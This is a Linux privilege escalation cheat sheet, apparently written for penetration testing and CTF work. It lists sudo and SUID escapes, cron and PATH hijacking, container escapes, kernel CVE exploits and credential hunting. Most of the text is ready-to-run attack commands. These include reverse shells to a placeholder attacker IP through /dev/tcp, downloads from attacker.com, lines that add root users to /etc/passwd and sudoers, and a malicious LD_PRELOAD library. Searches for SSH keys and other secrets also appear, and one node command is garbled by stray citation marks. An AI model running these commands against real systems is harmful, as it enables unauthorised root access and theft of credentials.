Legend:
[LOW]= Run as low-priv user |[ROOT]= Requires root |[ENUM]= Enumeration command |[EXPLOIT]= Exploitation command |[GTFOBins]= Check gtfobins.github.io
1. Introduction — PrivEsc Methodology
What it means: Linux privilege escalation is the process of going from a low-privileged user (www-data, user, nobody) to root. The goal is to find a misconfiguration, a vulnerable program, a leaked credential, or a kernel bug that lets you execute code as a higher-privileged user. Always enumerate EVERYTHING before trying exploits.
PrivEsc Attack Surface:
┌────────────────────────────────────────────────────────┐
│ Sudo rights → run commands as root │
│ SUID/SGID binaries → execute as file owner (root) │
│ Writable cron jobs → root executes your code │
│ PATH hijacking → root runs YOUR binary │
│ Capabilities → partial root powers │
│ Kernel exploits → exploit kernel bugs │
│ Credentials in files → become root directly │
│ NFS no_root_squash → mount and create SUID │
│ Docker group → full root escape │
│ LD_PRELOAD abuse → sudo injects your .so │
└────────────────────────────────────────────────────────┘
Methodology Order
-
Automated scan (LinPEAS / LinEnum)
-
Manual OS & kernel enumeration
-
Sudo rights — fastest win
-
SUID/SGID — second fastest win
-
Cron jobs — look for writable scripts called by root
-
Writable files — /etc/passwd, scripts, configs
-
Credentials — history, configs, env vars
-
Capabilities — powerful but often overlooked
-
NFS — if shares exist
-
Kernel exploits — last resort (unstable)
2. Automated Enumeration
What it means: Always run automated tools first — they cover hundreds of checks in seconds and highlight potential vectors with color-coded severity. Analyze their output carefully before trying manual techniques.
2.1 LinPEAS (Best)
# Download and run (from attacker)
[ATK] python3 -m http.server 8080
# On target
[LOW] curl -s http://<ATTACKER_IP>:8080/linpeas.sh | bash
[LOW] wget -q http://<ATTACKER_IP>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
# Save output
[LOW] /tmp/lp.sh 2>&1 | tee /tmp/linpeas.out
# Key sections to focus on:
# 🔴 RED/YELLOW = critical findings
# Sudo version, SUID files, writable crons, credentials, capabilities
2.2 LinEnum
curl -s http://<ATTACKER_IP>:8080/LinEnum.sh | bash
# OR
chmod +x LinEnum.sh && ./LinEnum.sh -t -r report.txt
# -t = thorough, -r = report file
2.3 unix-privesc-check
unix-privesc-check standard # fast
unix-privesc-check detailed # full
2.4 LES (Linux Exploit Suggester)
# Check for kernel CVEs
curl -s http://<ATTACKER_IP>:8080/les.sh | bash
# OR
./linux-exploit-suggester.sh
# LES2 — more accurate
./linux-exploit-suggester-2.pl
2.5 pspy — Process Spy (No Root Needed)
# Watch processes running as other users (especially root cron jobs)
# Critical for finding cron job PrivEsc without reading /etc/crontab
[LOW] chmod +x pspy64 && ./pspy64
[LOW] ./pspy64 -pf -i 1000 # -pf = print file events, -i = interval ms
# Watch for:
# UID=0 (root) executing scripts in writable locations
# UID=0 running programs you can influence
3. System & Kernel Enumeration
What it means: Understanding the OS version and kernel version is essential — old kernels have public exploits, and certain distributions have known sudo/SUID vulnerabilities.
# OS information
[ENUM] cat /etc/os-release
[ENUM] cat /etc/issue
[ENUM] cat /etc/*-release
[ENUM] lsb_release -a
# Kernel version (most important for exploit selection)
[ENUM] uname -a
[ENUM] uname -r
[ENUM] cat /proc/version
# Architecture
[ENUM] uname -m
[ENUM] arch
# Hostname & network
[ENUM] hostname
[ENUM] ip a
[ENUM] ip route
[ENUM] cat /etc/hosts
[ENUM] arp -a
[ENUM] ss -tulpn # open ports / listening services
[ENUM] netstat -tulpn # alternative
# Installed packages (look for vulnerable versions)
[ENUM] dpkg -l # Debian/Ubuntu
[ENUM] rpm -qa # Red Hat/CentOS
[ENUM] apt list --installed 2>/dev/null
[ENUM] which python python3 perl ruby gcc curl wget nc
# Running processes (may reveal service credentials)
[ENUM] ps aux
[ENUM] ps aux | grep root
[ENUM] ps -ef --forest # process tree
4. User & Permission Enumeration
What it means: Understand who you are, what groups you belong to, and what other users exist. Group memberships often grant unexpected privileges (docker, lxd, disk, adm, sudo).
# Current user
[ENUM] id
[ENUM] whoami
[ENUM] groups
[ENUM] echo $HOME
# All users
[ENUM] cat /etc/passwd
[ENUM] cat /etc/passwd | grep -v nologin | grep -v false # login-capable users
[ENUM] awk -F: '$3 == 0 {print}' /etc/passwd # UID 0 accounts (root-equivalent)
[ENUM] awk -F: '$7 !~ /nologin|false/ {print $1}' /etc/passwd # users with shells
# Groups to watch for (high-value group memberships)
[ENUM] id
# docker → instant root (docker escape)
# lxd/lxc → container escape → root
# disk → read raw disk → read /etc/shadow
# adm → read logs → may contain credentials
# sudo → check sudoers
# wheel → check sudoers
# shadow → read /etc/shadow directly
# Password files
[ENUM] cat /etc/passwd # world-readable (hashes if not shadowed)
[ENUM] cat /etc/shadow # root-readable (requires privesc to read)
[ENUM] cat /etc/group
# Login history / last logged in
[ENUM] last
[ENUM] lastlog
[ENUM] w
[ENUM] who
# Sudo version (check for CVEs like CVE-2021-3156 Baron Samedit)
[ENUM] sudo --version
[ENUM] sudo -V
5. SUDO Abuse
What it means: If a user can run any command with sudo, they can almost always escalate
to root. Even restricted sudo rules (e.g., user ALL=(ALL) NOPASSWD: /usr/bin/vim) can be
abused via shell escape techniques listed on GTFOBins. This is the most common and reliable
PrivEsc vector.
5.1 Enumerate Sudo Rights
[ENUM] sudo -l
# Output examples:
# (ALL) NOPASSWD: ALL → instant root: sudo su
# (ALL) NOPASSWD: /usr/bin/vim → vim escape
# (root) /usr/bin/find → find escape
# (ALL : ALL) /bin/bash → sudo bash
# (root) NOPASSWD: /usr/sbin/tcpdump → tcpdump escape
5.2 Instant Root
# If you have full sudo
sudo su
sudo bash
sudo -s
sudo /bin/bash
5.3 GTFOBins — Common Sudo Escapes
# vim / vi / nano — shell escape
sudo vim -c ':!bash'
sudo vim -c ':!/bin/bash'
sudo vi -c ':!bash'
# nano
sudo nano
# Ctrl+R → Ctrl+X → bash → Enter
# less / more
sudo less /etc/passwd
# Press: !/bin/bash
# man
sudo man man
# Press: !/bin/bash
# find
sudo find / -exec /bin/bash \; -quit
sudo find . -exec /bin/sh \; -quit
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
# perl
sudo perl -e 'exec "/bin/bash";'
# python / python3
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo python -c 'import pty; pty.spawn("/bin/bash")'
# nmap (older versions)
sudo nmap --interactive
# nmap> !sh
# tee — write to privileged files
echo "root2:x:0:0:root:/root:/bin/bash" | sudo tee -a /etc/passwd
# Then: su root2
# cp — overwrite privileged files
sudo cp /dev/stdin /etc/passwd # type new passwd content
# bash/sh
sudo bash
sudo sh -p # preserve environment
# wget — overwrite files
sudo wget http://attacker.com/passwd -O /etc/passwd
# curl
sudo curl http://attacker.com/root.sh -o /tmp/root.sh && sudo bash /tmp/root.sh
# dd — overwrite files
echo "root2::0:0:root:/root:/bin/bash" | sudo dd of=/etc/passwd
# env / flock / strace
sudo env /bin/bash
sudo flock -u / /bin/bash
sudo strace -o /dev/null /bin/bash
# zip / tar
sudo zip /tmp/a.zip /tmp/a -T --unzip-command="sh -c /bin/bash"
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# git
sudo git -p help config # type: !/bin/bash
sudo git branch --help config # type: !/bin/bash
PAGER='sh -c "exec sh 0<&1"' sudo git -p help
# node / nodejs
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:})'[1][2]
# ruby
sudo ruby -e 'exec "/bin/bash"'
# lua
sudo lua -e 'os.execute("/bin/bash")'
# tcpdump
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/.shell.sh
chmod +x /tmp/.shell.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell.sh
# php
sudo php -r "system('/bin/bash');"
# docker (if sudo docker)
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# apt-get / apt
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/sh"
# mysql
sudo mysql -e '\! /bin/sh'
# journalctl / systemctl
sudo journalctl
# !/bin/bash (when in pager)
sudo systemctl status
# !/bin/bash
5.4 Sudo CVEs
# CVE-2021-3156 — Baron Samedit (sudo < 1.9.5p2) — heap overflow
# Check version
sudo --version # if < 1.9.5p2 on most Linux distros
# PoC
sudoedit -s '\' $(python3 -c 'print("A"*65536)')
# If SIGSEGV → likely vulnerable
# Download exploit
searchsploit sudo 1.9
# Use: https://github.com/blasty/CVE-2021-3156
# CVE-2019-14287 — sudo < 1.8.28 — bypass with uid -1
sudo -u#-1 /bin/bash # run as root via UID -1
sudo -u#4294967295 /bin/bash # 32-bit overflow of -1
# CVE-2019-18634 — sudo < 1.8.26 — pwfeedback stack overflow
# (when "pwfeedback" is in sudoers)
python3 -c "print('A'*10000)" | sudo -S -k id
6. SUID / SGID Binaries
What it means: SUID (Set User ID) binaries execute with the file owner's permissions — usually root. If any SUID binary has a known GTFOBins entry or is a custom binary, you can exploit it to run code as root. This is the second most common PrivEsc vector.
6.1 Find SUID/SGID Binaries
# Find all SUID binaries
[ENUM] find / -perm -4000 -type f 2>/dev/null
[ENUM] find / -perm -u=s -type f 2>/dev/null
# Find all SGID binaries
[ENUM] find / -perm -2000 -type f 2>/dev/null
# Both SUID and SGID
[ENUM] find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
# With owner info
[ENUM] find / -perm -4000 -type f -ls 2>/dev/null
# Compare against known default SUID list (find non-standard ones)
# Any SUID binary NOT in standard Linux installations = investigate immediately
6.2 Common SUID Exploits (GTFOBins)
# bash (rare but jackpot)
bash -p # -p preserves effective UID (runs as root!)
# dash
/bin/dash -p
# find
find . -exec /bin/bash -p \; -quit
find / -name "*.txt" -exec /bin/sh -p \;
# vim / vi
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vim.basic -c ':!/bin/sh -p'
# python / python3
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# awk
awk 'BEGIN {system("/bin/sh -p")}'
# nmap (with SUID)
nmap --interactive
# nmap> !sh -p
# more / less
# Open a file, then: !/bin/sh -p
# man
man man
# !/bin/sh -p
# cp — copy /bin/bash with SUID (create your own SUID shell)
# If cp is SUID:
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
# env
env /bin/sh -p
# tee — write to /etc/sudoers
echo "user ALL=(ALL) NOPASSWD:ALL" | tee -a /etc/sudoers
# base64 — read /etc/shadow
base64 /etc/shadow | base64 -d
# xxd — read any file
xxd /etc/shadow | xxd -r
# cat — read /etc/shadow (if cat is SUID, rare)
cat /etc/shadow
# pkexec — CVE-2021-4034 (PwnKit)
# Almost all Linux distros affected (pkexec < 0.105)
# https://github.com/berdav/CVE-2021-4034
gcc -shared -fPIC -nostartfiles -o GCONV_PATH=./lol/value.so evil.c
./cve-2021-4034 # instant root shell
# screen-4.5.0 — CVE-2017-5618
screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
# exim4 — if SUID
exim4 -ps | tail -1
6.3 Custom SUID Binaries (Not in GTFOBins)
# When you find a non-standard SUID binary:
# Step 1: Run it and observe behavior
/usr/local/bin/custom_binary
# Step 2: Check what it calls using strings
strings /usr/local/bin/custom_binary
# Look for: system(), popen(), execve(), /bin/sh, relative paths
# Step 3: Check with ltrace / strace
ltrace /usr/local/bin/custom_binary # library calls
strace /usr/local/bin/custom_binary # system calls
# Step 4: Look for relative path calls → PATH hijacking (Section 8)
# Step 5: Look for writable config files the binary uses
7. Cron Jobs & Scheduled Tasks
What it means: Cron jobs run commands on a schedule — often as root. If the script being executed is writable by a low-priv user, or if it calls programs via a relative path you can hijack, you get code execution as root.
7.1 Enumerate Cron Jobs
# System-wide cron
[ENUM] cat /etc/crontab
[ENUM] ls -la /etc/cron.* # cron.d, cron.daily, cron.hourly, cron.weekly
[ENUM] ls -la /etc/cron.d/
[ENUM] cat /etc/cron.d/*
# Per-user crontabs
[ENUM] crontab -l # current user
[ENUM] cat /var/spool/cron/crontabs/* # all users (usually root-only)
# System cron daemons
[ENUM] ls -la /etc/anacrontab 2>/dev/null
[ENUM] cat /etc/anacrontab
# pspy — watch for root cron jobs at runtime (BEST method)
./pspy64 -pf -i 1000
# Watch for UID=0 executing scripts
7.2 Writable Script in Cron
# Found: * * * * * root /opt/scripts/backup.sh
# Check if writable
ls -la /opt/scripts/backup.sh
# If writable:
# Method 1: Add reverse shell to the script
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' >> /opt/scripts/backup.sh
# Method 2: Replace with SUID bash copy
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# Wait for cron to run → /tmp/rootbash -p
# Method 3: Add your SSH key to root
echo 'echo "ssh-rsa YOUR_PUB_KEY" >> /root/.ssh/authorized_keys' >> /opt/scripts/backup.sh
7.3 Writable Directory in Cron PATH
# /etc/crontab:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# * * * * * root cleanup.sh ← no absolute path!
# Check if /home/user is writable by you:
ls -la /home/user/
# Create a malicious cleanup.sh in the writable PATH directory
cat > /home/user/cleanup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /home/user/cleanup.sh
# Wait for cron → /tmp/rootbash -p
7.4 Wildcard in Cron (See Section 17)
# /etc/crontab:
# * * * * * root tar -czf /tmp/backup.tar.gz /home/user/*
# Wildcard * in tar → wildcard injection → code exec
8. PATH Hijacking
What it means: When a SUID binary or root-owned script calls another program using a
relative path (e.g., ps instead of /bin/ps), you can create a malicious ps binary
in a directory that appears earlier in the PATH — root then executes your code.
8.1 Detect PATH Hijacking Opportunity
# Look in SUID binaries or cron scripts for relative path calls
strings /usr/local/bin/suid_binary | grep -v "/"
# If you see: "ps", "id", "ls", "service" (no leading /) → injectable
# Verify with strace
strace /usr/local/bin/suid_binary 2>&1 | grep "exec"
# execve("ps", ...) → relative path confirmed
8.2 Exploit PATH Hijacking
# Method 1: Create malicious binary, prepend to PATH
# Create the malicious binary (same name as what the SUID calls)
echo '#!/bin/bash' > /tmp/ps
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' >> /tmp/ps
chmod +x /tmp/ps
# OR: SUID shell copy
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
chmod +x /tmp/service
# Prepend /tmp to PATH
export PATH=/tmp:$PATH
# Run the SUID binary → it executes your /tmp/ps as root
/usr/local/bin/suid_binary
9. Capabilities
What it means: Linux capabilities divide root privileges into granular units. A binary
can be granted specific capabilities (e.g., cap_setuid, cap_net_raw) without full SUID.
Misconfigured capabilities on interpreters like Python, Perl, or Vim lead to privilege
escalation exactly like SUID — often overlooked during hardening.
9.1 Enumerate Capabilities
# Find all files with capabilities set
[ENUM] getcap -r / 2>/dev/null
# Key dangerous capabilities:
# cap_setuid+ep → can change UID to 0 → instant root
# cap_setgid+ep → can change GID
# cap_net_raw → raw socket access (sniff traffic)
# cap_net_bind_service → bind ports < 1024
# cap_sys_admin → near-root (mount, pivot_root)
# cap_dac_override → bypass file permission checks → read anything
# cap_dac_read_search → read any file regardless of permissions
# cap_fowner → bypass ownership checks
# cap_chown → change file ownership
9.2 Exploit cap_setuid
# If python3 has cap_setuid:
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# If perl has cap_setuid:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# If vim has cap_setuid:
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'
# If ruby has cap_setuid:
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
9.3 Exploit cap_dac_read_search
# Read any file regardless of permissions (e.g., /etc/shadow)
# If tar has this capability:
tar -xf /etc/shadow -I /dev/stdout 2>/dev/null
# If python3 has cap_dac_read_search:
python3 -c 'print(open("/etc/shadow").read())'
9.4 Exploit cap_net_raw + Sniff Traffic
# If tcpdump has cap_net_raw (common):
tcpdump -i eth0 -w /tmp/capture.pcap
# Capture plaintext protocols: FTP, Telnet, HTTP — grab credentials
10. Writable Files & Directories
What it means: Misconfigured file permissions often allow overwriting critical system
files. Writing to /etc/passwd adds a root user. Writing to /etc/sudoers grants sudo.
Writable service configs or start scripts that root executes are code execution vectors.
10.1 Writable /etc/passwd
# /etc/passwd is world-writable (misconfiguration)
ls -la /etc/passwd
# -rw-rw-rw- → exploitable!
# Generate a password hash
openssl passwd -1 -salt hack hacked123
# → $1$hack$HASH
# OR (no password)
openssl passwd hacked123 # → HASH
# Add a root-equivalent user
echo 'hacker:$1$hack$HASH:0:0:hacker:/root:/bin/bash' >> /etc/passwd
# Login
su hacker # password: hacked123
10.2 Writable /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
sudo bash
10.3 Writable /etc/shadow
# Generate new root password hash
python3 -c "import crypt; print(crypt.crypt('hacked','$6$salt'))"
# Replace root hash in shadow
# Use sed or text editor to change root's hash
# Login
su root # password: hacked
10.4 Find All World-Writable Files
# World-writable files
[ENUM] find / -writable -type f 2>/dev/null | grep -v proc
[ENUM] find / -perm -o+w -type f 2>/dev/null | grep -v proc
# World-writable directories
[ENUM] find / -perm -o+w -type d 2>/dev/null
# Writable by current user/group
[ENUM] find / -writable -type f 2>/dev/null
# Specifically look for:
[ENUM] ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/crontab
[ENUM] ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
10.5 Writable Service Files (systemd)
# Find writable service files
[ENUM] find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ -writable 2>/dev/null
# If you can write to a .service file:
# Add your command to ExecStart
[Unit]
Description=Evil
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'
[Install]
WantedBy=multi-user.target
# Reload and restart
systemctl daemon-reload
systemctl restart vulnerable.service
11. NFS Misconfiguration
What it means: NFS (Network File System) shares configured with no_root_squash allow
a remote root user to create SUID files on the NFS share — which execute as root on the
target machine. This is a major misconfiguration in older environments.
# Step 1: Find NFS shares (from attacker)
[ATK] showmount -e <TARGET_IP>
[ATK] nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 111,2049 <TARGET_IP>
# Step 2: Read NFS config on target (if accessible)
[LOW] cat /etc/exports
# Look for: no_root_squash or no_all_squash
# Step 3: Mount the NFS share on attacker AS ROOT
[ATK] mkdir /tmp/nfs_mount
[ATK] sudo mount -t nfs <TARGET_IP>:/shared /tmp/nfs_mount
# Step 4: Create SUID bash on the mount (as root on attacker → root on target)
[ATK] sudo cp /bin/bash /tmp/nfs_mount/rootbash
[ATK] sudo chmod +s /tmp/nfs_mount/rootbash
# Step 5: On target — execute the SUID binary
[LOW] /shared/rootbash -p
# root shell!
# Alternative: copy /bin/bash and chmod +xs
# OR create a C SUID shell:
[ATK] cat > /tmp/nfs_mount/shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }
EOF
[ATK] sudo gcc /tmp/nfs_mount/shell.c -o /tmp/nfs_mount/shell
[ATK] sudo chmod +s /tmp/nfs_mount/shell
[LOW] /shared/shell # root shell
12. Docker & Container Escapes
What it means: Being a member of the docker group is equivalent to root. Docker group
members can mount the host filesystem inside a container and escape to full host root access.
Similarly, LXD group membership provides a container escape path.
12.1 Docker Group Escape
# Check group membership
id | grep docker
# Method 1: Mount host filesystem inside container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now you have root shell with full host filesystem
# Method 2: SUID bash via Docker
docker run -v /:/mnt --rm -it alpine sh -c \
"cp /mnt/bin/bash /mnt/tmp/rootbash && chmod +s /mnt/tmp/rootbash"
/tmp/rootbash -p
# Method 3: Add user to sudoers via Docker
docker run -v /:/mnt --rm -it alpine sh -c \
"echo 'user ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers"
sudo bash
# Method 4: Direct volume mount for SSH
docker run -v /root:/mnt --rm -it alpine sh -c \
"echo 'ssh-rsa YOUR_PUB_KEY' >> /mnt/.ssh/authorized_keys"
ssh root@<TARGET_IP>
12.2 LXD/LXC Group Escape
# Check
id | grep lxd
# Step 1: Download Alpine image on attacker
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine
# Transfer alpine-v3.xx-x86_64.tar.gz to target
# Step 2: On target — import and run the container
lxc image import ./alpine-v3.xx.tar.gz --alias myimage
lxc init myimage privesc -c security.privileged=true
# Step 3: Mount host filesystem
lxc config device add privesc host-root disk source=/ path=/r recursive=true
# Step 4: Start container and get root shell
lxc start privesc
lxc exec privesc /bin/sh
# Inside container:
chroot /r sh # chroot into host filesystem as root!
12.3 Escaping a Running Container
# Check if inside a container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv # exists if in Docker
cat /etc/hostname # often a short hash in containers
# Check for privileged mode
cat /proc/self/status | grep CapEff
# Full caps (0000003fffffffff) = privileged → escape possible
# Mount host filesystem if privileged
mkdir /tmp/escape
mount /dev/sda1 /tmp/escape # or sda, vda — check lsblk
chroot /tmp/escape bash
# cgroups release_agent escape (privileged container)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output # shadow file from host
13. Kernel Exploits
What it means: Kernel exploits target vulnerabilities in the Linux kernel itself — not in applications or configurations. They are reliable but risky (can crash the system) and should be used as a last resort after exhausting all other vectors.
13.1 Identify Kernel Version & Find Exploits
# Kernel version
uname -r
# e.g.: 4.4.0-116-generic
# Linux Exploit Suggester
./linux-exploit-suggester.sh
./les.sh
# Searchsploit
searchsploit "linux kernel $(uname -r)"
searchsploit "linux kernel 4.4"
# Online resources:
# https://www.kernel-exploits.com/
# https://github.com/SecWiki/linux-kernel-exploits
13.2 Key Kernel CVEs
# DirtyPipe — CVE-2022-0847 (kernel 5.8 - 5.16.11)
# Overwrite root-owned read-only files (e.g., /etc/passwd, SUID binaries)
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd # overwrites /etc/passwd to add root user
# DirtyCow — CVE-2016-5195 (kernel < 4.8.3)
# Race condition in copy-on-write mechanism
# https://github.com/dirtycow/dirtycow.github.io
gcc -pthread dirty.c -o dirty -lcrypt
./dirty my-new-password
# Adds firefart user with root privs
# PwnKit — CVE-2021-4034 (polkit < 0.105)
# pkexec SUID binary — affects all major distros
# https://github.com/berdav/CVE-2021-4034
make && ./cve-2021-4034 # instant root
# GameOver(lay) — CVE-2023-2640 / CVE-2023-32629 (Ubuntu 22.04)
# OverlayFS privilege escalation
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o
rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" &&
u/python3 -c 'import os;os.setuid(0);os.system("bash")'
# Sudo Baron Samedit — CVE-2021-3156 (sudo < 1.9.5p2)
# Heap-based buffer overflow in sudo
# https://github.com/blasty/CVE-2021-3156
make && ./sudo-hax-me-a-sandwich 0 # select target number
# Netfilter — CVE-2022-25636 (kernel 5.4 - 5.6.10)
gcc -o exploit exploit.c && ./exploit
# PTRACE_TRACEME — CVE-2019-13272 (kernel < 5.1.17)
gcc cve-2019-13272.c -o exploit && ./exploit
13.3 Compile and Transfer Exploits
# Compile on attacker (matching architecture)
gcc -m64 exploit.c -o exploit
gcc -m32 exploit.c -o exploit32
gcc exploit.c -o exploit -static # static for portability
# Transfer to target
[ATK] python3 -m http.server 8080
[LOW] wget http://<ATTACKER_IP>:8080/exploit -O /tmp/exploit
[LOW] chmod +x /tmp/exploit && /tmp/exploit
14. Credential Hunting
What it means: Credentials are hidden everywhere on Linux systems — bash history, config files, database connections, environment variables, SSH keys, and application configs. Finding a root password or sudo password is the cleanest PrivEsc.
# Bash history (gold mine)
[ENUM] cat ~/.bash_history
[ENUM] cat /root/.bash_history 2>/dev/null
[ENUM] cat /home/*/.bash_history 2>/dev/null
[ENUM] history
# Look for passwords in command history
cat ~/.bash_history | grep -i "pass\|pwd\|secret\|mysql\|ssh"
# Environment variables (sometimes contain creds)
[ENUM] env
[ENUM] printenv
[ENUM] cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|pwd\|key"
# Config files with credentials
[ENUM] find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" \
-o -name "*.ini" -o -name ".env" 2>/dev/null | \
xargs grep -l "password\|passwd\|secret" 2>/dev/null
# Web app configs
[ENUM] cat /var/www/html/wp-config.php 2>/dev/null
[ENUM] cat /var/www/html/.env 2>/dev/null
[ENUM] cat /etc/phpmyadmin/config.inc.php 2>/dev/null
[ENUM] find /var/www -name "*.php" -exec grep -l "password" {} \; 2>/dev/null
# SSH keys
[ENUM] find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
[ENUM] find /home /root -name "*.pem" -o -name "*.key" 2>/dev/null
[ENUM] cat /home/*/.ssh/id_rsa 2>/dev/null
[ENUM] cat /root/.ssh/id_rsa 2>/dev/null
# Database credentials
[ENUM] cat /etc/mysql/debian.cnf # MySQL root password!
[ENUM] find / -name "*.db" -o -name "*.sqlite" 2>/dev/null
[ENUM] grep -r "DB_PASS\|db_password\|database_password" /var/www/ 2>/dev/null
# Log files (may contain credentials)
[ENUM] cat /var/log/auth.log # failed/successful auth
[ENUM] cat /var/log/syslog
[ENUM] find /var/log -readable -type f 2>/dev/null
# /tmp and /var/tmp (scripts, data left behind)
[ENUM] ls -la /tmp/ /var/tmp/
[ENUM] find /tmp /var/tmp -type f 2>/dev/null
# Check if root has re-used creds for su
su root # try found passwords
15. Service Exploitation
What it means: Services running as root with known vulnerabilities or misconfigured configurations provide a direct path to root. Check running processes owned by root for outdated software, writable config files, or weak permissions.
# Services running as root
[ENUM] ps aux | grep root | grep -v "\[" | grep -v "grep"
[ENUM] systemctl list-units --type=service --state=running
# Find service binary and check version
[ENUM] which apache2 && apache2 -v
[ENUM] mysql --version
[ENUM] nginx -v
[ENUM] php -v
# Check service configs for credentials
[ENUM] cat /etc/mysql/mysql.conf.d/mysqld.cnf
[ENUM] cat /etc/apache2/sites-enabled/*
[ENUM] cat /etc/nginx/sites-enabled/*
# MySQL running as root — common in older setups
mysql -u root # no password
mysql -u root -p # try found passwords
# Once in MySQL:
# SELECT user,password FROM mysql.user;
# SELECT sys_exec('id'); (if UDF installed)
# SELECT * FROM mysql.user INTO OUTFILE '/etc/cron.d/evil';
# Writable service start scripts
[ENUM] find /etc/init.d/ -writable 2>/dev/null
[ENUM] find /etc/init/ -writable 2>/dev/null
[ENUM] find /lib/systemd/system/ -writable 2>/dev/null
# Logrotate (CVE-2016-6663 / logrotate < 3.8.6 + newer)
# If writable log file + logrotate runs as root:
[ENUM] cat /etc/logrotate.conf
[ENUM] ls -la /etc/logrotate.d/
16. Environment Variables & LD_PRELOAD
What it means: If a user can run sudo commands and the sudo configuration allows passing
environment variables (specifically env_keep+=LD_PRELOAD), they can force any program to
load a malicious shared library before all others — executing code as root.
16.1 LD_PRELOAD via Sudo
# Check: sudo -l shows:
# env_keep+=LD_PRELOAD
# Step 1: Write a malicious shared library
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
EOF
# Step 2: Compile as shared library
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
# Step 3: Run any sudo-allowed command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_command>
# Root shell spawns!
16.2 LD_LIBRARY_PATH Abuse
# Check: sudo -l shows env_keep+=LD_LIBRARY_PATH
# Find libraries used by a sudo-allowed binary
ldd /usr/sbin/apache2
# Create a fake version of one of those libraries in /tmp
# The fake library's constructor runs as root when apache2 loads
17. Wildcard Injection
What it means: When a shell command uses a wildcard * and the directory is writable,
an attacker can create filenames that are interpreted as command flags. Classic example:
tar * in a directory where you can create files — create --checkpoint-action=exec=sh
as a filename.
# Vulnerable cron: * * * * * root tar -czf /tmp/backup.tar.gz /home/user/*
# /home/user/ is writable by you
# Create malicious "filenames" that become tar flags
cd /home/user
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh evil.sh"
# Create the payload script
cat > /home/user/evil.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /home/user/evil.sh
# When tar runs: tar -czf /tmp/backup.tar.gz --checkpoint=1
# --checkpoint-action=exec=sh evil.sh /other/files
# → executes evil.sh as root!
# Wait for cron → /tmp/rootbash -p
# Other wildcard-vulnerable commands:
# chown user:group * → create --reference= filename
# chmod 777 * → create --reference= filename
# rsync * dst/ → create -e= filename
18. Weak File Permissions
What it means: Misconfigured permissions on critical system files or directories allow a low-priv user to read sensitive data or modify system behavior directly.
# Readable /etc/shadow
[ENUM] ls -la /etc/shadow
# If readable: copy hashes and crack offline
